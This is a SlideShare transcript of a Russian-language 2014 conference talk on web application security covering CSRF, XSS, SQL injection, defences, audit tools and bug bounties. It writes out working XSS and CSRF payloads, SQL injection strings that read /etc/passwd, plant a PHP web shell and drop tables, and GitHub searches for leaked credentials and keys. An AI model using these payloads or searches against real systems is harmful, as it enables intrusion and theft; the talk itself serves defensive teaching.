Web application
security
Максим Кочкин
OWASP TOP-10 (2013)
1. Injection
2. Broken Authentication and Session Management
3. Cross-Site Scripting (XSS)
4. Insecure...
Сводная статистика по распространенности угроз
Угроза Подвержено сайтов, %
WhiteHat
(2013)
Cenzic (2013)
Contextis
(2013)
...
Реальность от WHID (март 2014)
Атака От общего числа, %
XSS 7
SQL Injection 18
CSRF 2
Denial of Service 20
Brute Force 4
h...
CSRF
Exploitability AVERAGE
Prevalence COMMON
Detectability EASY
Impact MODERATE
Cross-Site Request Forgery
(WASC-09)
Атака, при которой жертва без согласия
выполняет от своего имени запрос.
Другими слов...
Cross-Site Request Forgery
Атака
● на сайте есть действие «подарить подарок»
● действие выполняется ajax-запросом при клик...
Cross-Site Request Forgery
Атака, простейшие варианты
GET http://goo.gl/d0LUAg
<img src="[GET request]">
<form action="[ur...
Cross-Site Request Forgery
Простые правила
GET — только для получения данных
Для изменения данных — POST, PUT, DELETE
(это...
Cross-Site Request Forgery
Защита
Ненадежные способы
● принимать только POST
● HTTP_REFERER
● подтверждение вторым запросо...
Cross-Site Request Forgery
Защита
● токен
- сессионный токен (Synchronizer Token)
- двойная отправка куки (Double Submit C...
Cross-Site Request Forgery
Аудит
● w3af [http://w3af.org/plugins/audit/csrf] — только
схема с куками.
● Arachni [http://ww...
Cross-Site Request Forgery
Logout
CSRF на logout? R U serious? Ahahaha!
Oh, wait…
http://superlogout.com/
Я знаю как миним...
XSS
Exploitability AVERAGE
Prevalence VERY WIDESPREAD
Detectability EASY
Impact MODERATE
Cross-Site Scripting
(WASC-08)
Атака, при которой атакующий через уязвимость
заставляет выполняться свой код в браузере
же...
Cross-Site Scripting
Угроза
● фишинг
● кража сессии (если куки не httponly)
● кража пользовательских данных жертвы со
стра...
Cross-Site Scripting
Типы
● TYPE 1 — отражённая (non-persistent,
reflected)
● TYPE 2 — хранимая (persistent, stored)
● TYP...
Cross-Site Scripting
TYPE 1, отражённая
● формируется запрос с пользовательскими
данными userdata
● в ответе данные userda...
Cross-Site Scripting
TYPE 1, отражённая
<div id="pager">
<a href="{{url}}">{{pageNum}}</a>
</div>
GET /search.php?a=A"><sc...
Cross-Site Scripting
TYPE 1, отражённая
<div id="pager">
<a href="{{url}}">{{pageNum}}</a>
</div>
GET /search.php?a=A"><sc...
Cross-Site Scripting
TYPE 1, отражённая
<div id="pager">
<a href="{{url}}">{{pageNum}}</a>
</div>
GET /search.php?a=A"><sc...
Cross-Site Scripting
TYPE 2, хранимая
● пользовательские данные сохраняются в БД
без надлежащей фильтрации
● в дальнейшем ...
Cross-Site Scripting
TYPE 2, хранимая
url=x" onerror=alert("xss")
<div id="post-100500">
Дорогой дневничок!
<img src="x" o...
Cross-Site Scripting
TYPE 2, хранимая
url=x" onerror=alert("xss")
<div id="post-100500">
Дорогой дневничок!
<img src="x" o...
Cross-Site Scripting
TYPE 3, DOM-based
Атака полностью реализуется на клиенте без
участия сервера
● пользователь вводит да...
Cross-Site Scripting
TYPE 3, DOM-based
var pos=document.URL.indexOf("name=")+5;
var r=document.URL.substring(pos,document....
Cross-Site Scripting
TYPE 3, DOM-based
var pos=document.URL.indexOf("name=")+5;
var r=document.URL.substring(pos,document....
Cross-Site Scripting
TYPE 3, DOM-based
var pos=document.URL.indexOf("name=")+5;
var r=document.URL.substring(pos,document....
Cross-Site Scripting
Меры предотвращения
Правила OWASP
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Preventi...
Cross-Site Scripting
CSP
CSP — Content Security Policy [Google, Mozilla]
http://w3c.github.io/webappsec/specs/content-secu...
Cross-Site Scripting
CSP: пример
HTTP Response Header
Content-Security-Policy:
default-src 'none'
script-src 'self' http:/...
Cross-Site Scripting
Аудит
OWASP ZAP
[https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project]
прокси с последующим...
SQL Injection
Exploitability EASY
Prevalence COMMON
Detectability AVERAGE
Impact SEVERE
SQL Injection
(WASC-19)
Атака на ПО, использующее входные данные
для построения SQL-запросов,
при которой атакующий изменя...
SQL Injection
Простейший пример
$q = "SELECT * FROM table WHERE id={$_GET['id']}";
query($q);
GET http://site.com/query.ph...
SQL Injection
Простейший пример
$q = "SELECT * FROM table WHERE id={$_GET['id']}";
query($q);
GET http://site.com/query.ph...
SQL Injection
Схема атаки
● поиск точки, использующей
пользовательские данные в SQL-запросе
● выполнение фингерпринтинга С...
SQL Injection
Фингерпринтинг СУБД
● сообщения об ошибках на страницах
● баннер (version(), @@version)
- SELECT version() -...
SQL Injection
Эксплуатация
Типы
● обычная инъекция — по выводимым ошибкам
● инъекция вслепую (Blind Injection) — вывод оши...
SQL Injection
Примеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1 and 1=1 -- OK
query.php?i...
SQL Injection
Примеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1 order by 1 -- OK
query.ph...
SQL Injection
Примеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1
Name: Maksim [ksimka]
Age...
SQL Injection
Примеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1
Name: Maksim [ksimka]
Age...
SQL Injection
Примеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=-1 union all select version...
SQL Injection
Примеры: UNION (full flaw)
SELECT a FROM table WHERE id={$id}
query.php?id=-1 union all select
concat(versio...
SQL Injection
Примеры: UNION (full flaw)
SELECT a FROM table WHERE id={$id}
query.php?id=-1 union all select
load_file('/e...
SQL Injection
Примеры: batched queries
SELECT a FROM table WHERE id={$id}
query.php?id=1;drop table ...
query.php?id=1;dro...
SQL Injection
Примеры: boolean-based blind
SELECT a FROM table WHERE id={$id}
query.php?id=1 and ord(mid((select schema_na...
SQL Injection
Примеры: time-based blind (double blind)
SELECT a FROM table WHERE id={$id}
query.php?id=1 or if(ord(mid((se...
SQL Injection
Защита и превентивные меры
● связывание параметров (prepared statements,
биндинг, параметризованные запросы)...
SQL Injection
Аудит
sqlmap [http://sqlmap.org/] — умеет всё.
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, …
Знает масс...
Зачем нам всё это знать?
Чтобы понимать: одна маленькая ошибка может
стоить бесконечно дорого.
Чтобы понимать, откуда ВНЕЗ...
P.S.
Bug bounty программы
Когда у тебя огромная кодовая база, изменяющаяся с
дикой скоростью, невозможно уследить за всем.
Bug ...
Wamba Bug Bounty
http://corp.wamba.com/ru/developer/security/
Вознаграждения
● критичные сервисы — от 5 000 до 100 000 руб...
http://corp.wamba.com/ru/
m.kochkin@wamba.com
@m_ksimka
Апрель 2014
Приложение
Атаки на браузеры
http://html5sec.org/
Теперь не только <script> и <img onerror/>
Сотни способов выполнить js-код на клиен...
Атаки на браузеры
cookie-bomb (by @homakov)
http://homakov.blogspot.ru/2014/01/cookie-bomb-or-lets-break-internet.html
RFC...
Социальная инженерия
Self-XSS
https://www.facebook.com/selfxss
Социальная инженерия
Chunkhost и Sendgrid (март 2014)
https://chunkhost.com/blog/15/huge_security_hole_in_sendgrid
Как в с...
Социальная инженерия
CSS-Tricks и Media Temple (март 2014)
http://shoptalkshow.com/episodes/special-one-one-hacker/
Как в ...
Github, пароли в репозиториях
DB config (PHP)
https://github.com/search?q=define%28%22DB_PASSWORD%22&ref=searchresults&typ...
DOM-based XSS
https://code.google.com/p/domxsswiki/
http://www.domxss.com/domxss/
SQL Injection
http://websec.ca/kb/sql_injection
http://www.sqlinjectionwiki.com/
http://www.blackhatlibrary.net/SQL_inject...
Потренироваться
http://testphp.vulnweb.com (Acunetix)
http://testasp.vulnweb.com (Acunetix)
http://testaspnet.vulnweb.com ...
Upcoming SlideShare
Loading in …5
×

Максим Кочкин (Wamba)

1,395 views

Published on

Published in: Internet
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
1,395
On SlideShare
0
From Embeds
0
Number of Embeds
66
Actions
Shares
0
Downloads
9
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Максим Кочкин (Wamba)

  1. 1. Web application security Максим Кочкин
  2. 2. OWASP TOP-10 (2013) 1. Injection 2. Broken Authentication and Session Management 3. Cross-Site Scripting (XSS) 4. Insecure Direct Object References 5. Security Misconfiguration 6. Sensitive Data Exposure 7. Missing Function Level Access Control 8. Cross-Site Request Forgery (CSRF) 9. Using Components with Known Vulnerabilities 10. Unvalidated Redirects and Forwards
  3. 3. Сводная статистика по распространенности угроз Угроза Подвержено сайтов, % WhiteHat (2013) Cenzic (2013) Contextis (2013) Avg XSS 53 60 56 56 SQL Injection 7 20 14 14 CSRF 26 22 34 27 Information Leakage 55 36 60 50 Authentication & authorization 11 56 60 42
  4. 4. Реальность от WHID (март 2014) Атака От общего числа, % XSS 7 SQL Injection 18 CSRF 2 Denial of Service 20 Brute Force 4 https://www.google.com/fusiontables/data?docid=1Uk2Fs373gG-yV4LbQsvoRQg7K_2gpLs5ZydpxA
  5. 5. CSRF Exploitability AVERAGE Prevalence COMMON Detectability EASY Impact MODERATE
  6. 6. Cross-Site Request Forgery (WASC-09) Атака, при которой жертва без согласия выполняет от своего имени запрос. Другими словами, атакующий может управлять некоторыми действиями жертвы в свою пользу.
  7. 7. Cross-Site Request Forgery Атака ● на сайте есть действие «подарить подарок» ● действие выполняется ajax-запросом при клике по ссылке, параметр — id получателя ● но на самом деле достаточно обычного GET-запроса ● жертве подбрасывается ссылка - напрямую: в мессенджере, в блоге, по почте, … - укороченная — скрыть payload - на сайте атакующего: картинка или подготовленная форма
  8. 8. Cross-Site Request Forgery Атака, простейшие варианты GET http://goo.gl/d0LUAg <img src="[GET request]"> <form action="[url]" method="post">...</form> <script>form.submit()</script>
  9. 9. Cross-Site Request Forgery Простые правила GET — только для получения данных Для изменения данных — POST, PUT, DELETE (это не защита!)
  10. 10. Cross-Site Request Forgery Защита Ненадежные способы ● принимать только POST ● HTTP_REFERER ● подтверждение вторым запросом ● многошаговый процесс
  11. 11. Cross-Site Request Forgery Защита ● токен - сессионный токен (Synchronizer Token) - двойная отправка куки (Double Submit Cookies) - зашифрованный токен (Encrypted Token) ● подтверждение (пароль, капча) ● Origin (request header) (не путать с CORS) [https://wiki.mozilla.org/Security/Origin] - iframe, embed, applet, script, form, XHR, redirect
  12. 12. Cross-Site Request Forgery Аудит ● w3af [http://w3af.org/plugins/audit/csrf] — только схема с куками. ● Arachni [http://www.arachni-scanner.com/] — 4- этапная проверка, умеет отличать формы, которые отображаются только для залогиненных юзеров, проверяет куки и токены. ● Руками и глазами.
  13. 13. Cross-Site Request Forgery Logout CSRF на logout? R U serious? Ahahaha! Oh, wait… http://superlogout.com/ Я знаю как минимум один сайт, для которого это — реальная проблема: odnoklassniki.ru :)
  14. 14. XSS Exploitability AVERAGE Prevalence VERY WIDESPREAD Detectability EASY Impact MODERATE
  15. 15. Cross-Site Scripting (WASC-08) Атака, при которой атакующий через уязвимость заставляет выполняться свой код в браузере жертвы. Браузер может быть встроен в ПО и иметь доступ к его компонентам. Обычно код — JS, но также возможно выполнение VBScript, ActiveX, Java, Flash и других поддерживаемых браузером технологий.
  16. 16. Cross-Site Scripting Угроза ● фишинг ● кража сессии (если куки не httponly) ● кража пользовательских данных жертвы со страниц ● выполнение нежелательных действий от имени жертвы (обход CSRF-защиты)
  17. 17. Cross-Site Scripting Типы ● TYPE 1 — отражённая (non-persistent, reflected) ● TYPE 2 — хранимая (persistent, stored) ● TYPE 0 — DOM-based
  18. 18. Cross-Site Scripting TYPE 1, отражённая ● формируется запрос с пользовательскими данными userdata ● в ответе данные userdata встраиваются в HTML без надлежащей фильтрации Чаще всего это ● заполнение полей формы в случае ошибки ● вывод поискового текста в форме поиска
  19. 19. Cross-Site Scripting TYPE 1, отражённая <div id="pager"> <a href="{{url}}">{{pageNum}}</a> </div> GET /search.php?a=A"><script>alert("xss")</script> <div id="pager"> <a href="/search.php?a=A"> <script>alert("xss")</script>&p=42">42 </a> </div>
  20. 20. Cross-Site Scripting TYPE 1, отражённая <div id="pager"> <a href="{{url}}">{{pageNum}}</a> </div> GET /search.php?a=A"><script>alert("xss")</script> <div id="pager"> <a href="/search.php?a=A"> <script>alert("xss")</script>&p=42">42 </a> </div>
  21. 21. Cross-Site Scripting TYPE 1, отражённая <div id="pager"> <a href="{{url}}">{{pageNum}}</a> </div> GET /search.php?a=A"><script>alert("xss")</script> <div id="pager"> <a href="/search.php?a=A"> <script>alert("xss")</script>&p=42">42 </a> </div>
  22. 22. Cross-Site Scripting TYPE 2, хранимая ● пользовательские данные сохраняются в БД без надлежащей фильтрации ● в дальнейшем эти данные выводятся на HTML страницу из БД без надлежащей фильтрации
  23. 23. Cross-Site Scripting TYPE 2, хранимая url=x" onerror=alert("xss") <div id="post-100500"> Дорогой дневничок! <img src="x" onerror=alert("xss")"> </div>
  24. 24. Cross-Site Scripting TYPE 2, хранимая url=x" onerror=alert("xss") <div id="post-100500"> Дорогой дневничок! <img src="x" onerror=alert("xss")"> </div>
  25. 25. Cross-Site Scripting TYPE 3, DOM-based Атака полностью реализуется на клиенте без участия сервера ● пользователь вводит данные в URL или на страницу (формы) ● эти данные используются клиентом (JS приложением) для построения HTML страницы без надлежащей фильтрации
  26. 26. Cross-Site Scripting TYPE 3, DOM-based var pos=document.URL.indexOf("name=")+5; var r=document.URL.substring(pos,document.URL.length) document.write('<b>Hello, '+r+'!</b>'); GET /domxss/?#name=<img src=x onerror=alert("xss")> Hello, <img src=x onerror=alert("xss")>!
  27. 27. Cross-Site Scripting TYPE 3, DOM-based var pos=document.URL.indexOf("name=")+5; var r=document.URL.substring(pos,document.URL.length) document.write('<b>Hello, '+r+'!</b>'); GET /domxss/?#name=<img src=x onerror=alert("xss")> Hello, <img src=x onerror=alert("xss")>!
  28. 28. Cross-Site Scripting TYPE 3, DOM-based var pos=document.URL.indexOf("name=")+5; var r=document.URL.substring(pos,document.URL.length) document.write('Hello, '+r+'!'); GET /domxss/?#name=<img src=x onerror=alert("xss")> Hello, <img src=x onerror=alert("xss")>!
  29. 29. Cross-Site Scripting Меры предотвращения Правила OWASP https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet ESAPI (The OWASP Enterprise Security API) https://code.google.com/p/owasp-esapi-java/ https://code.google.com/p/owasp-esapi-php/ https://code.google.com/p/owasp-esapi-python/ httponly куки CSP (Content Security Policy)
  30. 30. Cross-Site Scripting CSP CSP — Content Security Policy [Google, Mozilla] http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html Кто уже поддерживает? http://caniuse.com/#feat=contentsecuritypolicy Кто уже использует? (из alexa top-25) - mail.yandex.ru, e.mail.ru, facebook.com
  31. 31. Cross-Site Scripting CSP: пример HTTP Response Header Content-Security-Policy: default-src 'none' script-src 'self' http://*.my.com apis.google.com; style-src http://static.mysite.com:81; img-src *://cdn.somecdn.com; connect-src 'self' http://api.mysite.com; object-src 'none'; report-uri /report_endpoint;
  32. 32. Cross-Site Scripting Аудит OWASP ZAP [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project] прокси с последующим анализом логов. OWASP XSSer [https://www.owasp.org/index.php/OWASP_XSSER] очень умный, гибко настраивается, многое умеет. w3af [http://w3af.org/plugins/audit/xss]
  33. 33. SQL Injection Exploitability EASY Prevalence COMMON Detectability AVERAGE Impact SEVERE
  34. 34. SQL Injection (WASC-19) Атака на ПО, использующее входные данные для построения SQL-запросов, при которой атакующий изменяет логику выполнения SQL-запроса к БД. В некоторых случаях атака способна привести к выполнению команд ОС и захвату системы.
  35. 35. SQL Injection Простейший пример $q = "SELECT * FROM table WHERE id={$_GET['id']}"; query($q); GET http://site.com/query.php?id=1 OR 1=1 // SELECT * FROM table WHERE id=1 OR 1=1 // Хуже только query($_GET['q'])
  36. 36. SQL Injection Простейший пример $q = "SELECT * FROM table WHERE id={$_GET['id']}"; query($q); GET http://site.com/query.php?id=1 OR 1=1 // SELECT * FROM table WHERE id=1 OR 1=1 // Хуже только query($_GET['q'])
  37. 37. SQL Injection Схема атаки ● поиск точки, использующей пользовательские данные в SQL-запросе ● выполнение фингерпринтинга СУБД ● поиск уязвимости, позволяющей выполнить атаку ● эксплуатация уязвимости
  38. 38. SQL Injection Фингерпринтинг СУБД ● сообщения об ошибках на страницах ● баннер (version(), @@version) - SELECT version() --> 5.6.12-56 ● диалект SQL - MySQL: WHERE id = 1 /*!50067 AND 47=47 */ - PostgreSQL: AND 82::int=82 ● поведение некоторых функций ● вакансии или собеседование :)
  39. 39. SQL Injection Эксплуатация Типы ● обычная инъекция — по выводимым ошибкам ● инъекция вслепую (Blind Injection) — вывод ошибок отключен Техники ● UNION ● batched запросы ● boolean-based blind ● time-based blind
  40. 40. SQL Injection Примеры: UNION (full flaw) SELECT a, b, c FROM table WHERE id={$id} query.php?id=1 and 1=1 -- OK query.php?id=1 and 1=2 -- error
  41. 41. SQL Injection Примеры: UNION (full flaw) SELECT a, b, c FROM table WHERE id={$id} query.php?id=1 order by 1 -- OK query.php?id=1 order by 2 -- OK query.php?id=1 order by 3 -- OK query.php?id=1 order by 4 -- error!
  42. 42. SQL Injection Примеры: UNION (full flaw) SELECT a, b, c FROM table WHERE id={$id} query.php?id=1 Name: Maksim [ksimka] Age: 28 query.php?id=-1 union all select 1, 2, 3 Name: 1 [2] Age: 3
  43. 43. SQL Injection Примеры: UNION (full flaw) SELECT a, b, c FROM table WHERE id={$id} query.php?id=1 Name: Maksim [ksimka] Age: 28 query.php?id=-1 union all select 1, 2, 3 Name: 1 [2] Age: 3
  44. 44. SQL Injection Примеры: UNION (full flaw) SELECT a, b, c FROM table WHERE id={$id} query.php?id=-1 union all select version(), user(), database() Name: 5.0.0-42 [root@localhost] Age: Main
  45. 45. SQL Injection Примеры: UNION (full flaw) SELECT a FROM table WHERE id={$id} query.php?id=-1 union all select concat(version(),char(58),user(),char(58),database()) Name: 5.0.0-42:root@localhost:Main
  46. 46. SQL Injection Примеры: UNION (full flaw) SELECT a FROM table WHERE id={$id} query.php?id=-1 union all select load_file('/etc/passwd') query.php?id=-1 union all select '<?php system($_GET["cmd"]); ?>' into outfile '/www/cmd.php'
  47. 47. SQL Injection Примеры: batched queries SELECT a FROM table WHERE id={$id} query.php?id=1;drop table ... query.php?id=1;drop user ... query.php?id=1;create user ... query.php?id=1;grant all privileges on ... query.php?id=1;select ... into outfile ...
  48. 48. SQL Injection Примеры: boolean-based blind SELECT a FROM table WHERE id={$id} query.php?id=1 and ord(mid((select schema_name from information_schema.schemata limit 1 offset D), N, 1)) > A D — номер БД в таблице schemata N — номер очередного символа A — ASCII-код символа select schema_name from information_schema.schemata — имя БД mid(dbname, N, 1) — один символ имени ord(char) — ASCII-код, удобнее сравнивать
  49. 49. SQL Injection Примеры: time-based blind (double blind) SELECT a FROM table WHERE id={$id} query.php?id=1 or if(ord(mid((select schema_name from information_schema.schemata limit 1 offset D), N, 1)) > A, sleep(S), true) S — в зависимости от нормального времени отклика сайта Основа — как в boolean-based blind if (bingo, sleep(S), true) — если bingo, то +S секунд к отклику
  50. 50. SQL Injection Защита и превентивные меры ● связывание параметров (prepared statements, биндинг, параметризованные запросы) с экранированием значений - SELECT * FROM table WHERE columna=? AND columnb=? ● файрволлы (детекция попыток фингерпринтинга и эксплуатаций) — NAXSI, ModSecurity ● разграничение прав доступа - user: SELECT, INSERT, UPDATE, … - superuser: CREATE, DROP, ALTER, … ● валидация и фильтрация всего :)
  51. 51. SQL Injection Аудит sqlmap [http://sqlmap.org/] — умеет всё. MySQL, Oracle, PostgreSQL, Microsoft SQL Server, … Знает массу техник исследования и эксплуатации. Да, умеет полноценно эксплуатировать вплоть до сливания полного дампа БД. Вряд ли вам понадобится другой инструмент.
  52. 52. Зачем нам всё это знать? Чтобы понимать: одна маленькая ошибка может стоить бесконечно дорого. Чтобы понимать, откуда ВНЕЗАПНО может прийти беда. Чтобы уметь разрабатывать инструменты противодействия. Чтобы уметь пользоваться инструментами и писать безопасный код. Ну и просто потому что это круто :)
  53. 53. P.S.
  54. 54. Bug bounty программы Когда у тебя огромная кодовая база, изменяющаяся с дикой скоростью, невозможно уследить за всем. Bug bounty программа хорошо конвертирует blackhats в whitehats. Список таких программ https://bugcrowd.com/list-of-bug-bounty-programs/ Вознаграждения — от маечки до $20000 и больше (например, у Facebook нет верхней границы)
  55. 55. Wamba Bug Bounty http://corp.wamba.com/ru/developer/security/ Вознаграждения ● критичные сервисы — от 5 000 до 100 000 руб. ● прочие сервисы — от 3 000 до 25 000 руб. ● зал славы
  56. 56. http://corp.wamba.com/ru/ m.kochkin@wamba.com @m_ksimka Апрель 2014
  57. 57. Приложение
  58. 58. Атаки на браузеры http://html5sec.org/ Теперь не только <script> и <img onerror/> Сотни способов выполнить js-код на клиенте, используя баги или особенности работы с HTML в некоторых браузерах.
  59. 59. Атаки на браузеры cookie-bomb (by @homakov) http://homakov.blogspot.ru/2014/01/cookie-bomb-or-lets-break-internet.html RFC2109: A Set-Cookie from request-host x.foo.com for Domain=.foo.com would be accepted. Если я могу выполнять код на x.foo.com, я могу ставить куки на .foo.com. 1 кука = 4кБ, а мы можем поставить сотни кук. 400кБ+ заголовков — веб-сервер просто не отвечает. Итого: DoS сервиса (не всего, для юзера) куками
  60. 60. Социальная инженерия Self-XSS https://www.facebook.com/selfxss
  61. 61. Социальная инженерия Chunkhost и Sendgrid (март 2014) https://chunkhost.com/blog/15/huge_security_hole_in_sendgrid Как в старые добрые времена ● хакер покупает домен chunkhost.info ● звонит в поддержку sendgrid и просит сменить мыло support@chunkhost.com ● на support@chunkhost.info, поддержка говорит ОК (wtf?) ● хакер включает в sendgrid фичу BCC, инициирует сброс паролей пары акков на chunkhost, получает копию писем со ссылкой для сброса ● аккаунты и слив репутации chunkhost спасает только двухфакторная аутентификация на этих акках
  62. 62. Социальная инженерия CSS-Tricks и Media Temple (март 2014) http://shoptalkshow.com/episodes/special-one-one-hacker/ Как в еще более старые добрые времена ● хакер звонит в поддержку MT и просит поменять email от акка Криса, потому что, якобы, не помнит его ● поддержка говорит «ок, только пришлите скан своих документов» ● хакер подделывает документы и получает акк (sic!) ● кроме этого захватывает пачку других сайтов ● чувак говорит, что мог бы захватить jquery.com (тоже хостится на MT) и заразить исходники, которые используются на тысячах сайтов ● еще чувак говорит, что ничего не понимает в этих ваших sql- инъекциях и прочей ерунде, но ему это и не нужно :)
  63. 63. Github, пароли в репозиториях DB config (PHP) https://github.com/search?q=define%28%22DB_PASSWORD%22&ref=searchresults&type=Code ≈60000 AWS private key https://github.com/search?q=AKIAJ&type=Code&ref=searchresults ≈1000 RSA private key https://github.com/search?o=desc&q=%22RSA+PRIVATE+KEY--- %22&ref=searchresults&s=indexed&type=Code ≈44000
  64. 64. DOM-based XSS https://code.google.com/p/domxsswiki/ http://www.domxss.com/domxss/
  65. 65. SQL Injection http://websec.ca/kb/sql_injection http://www.sqlinjectionwiki.com/ http://www.blackhatlibrary.net/SQL_injection http://www.troyhunt.com/2013/07/everything-you-wanted-to-know-about- sql.html
  66. 66. Потренироваться http://testphp.vulnweb.com (Acunetix) http://testasp.vulnweb.com (Acunetix) http://testaspnet.vulnweb.com (Acunetix) http://testhtml5.vulnweb.com/ (Acunetix) http://demo.testfire.net (IBM) http://zero.webappsecurity.com (HP) http://crackme.cenzic.com (Cenzic) http://www.webscantest.com (NTO) http://www.dvwa.co.uk/ (RandomStorm, offline) https://code.google.com/p/webgoat/ (OWASP, offline)

×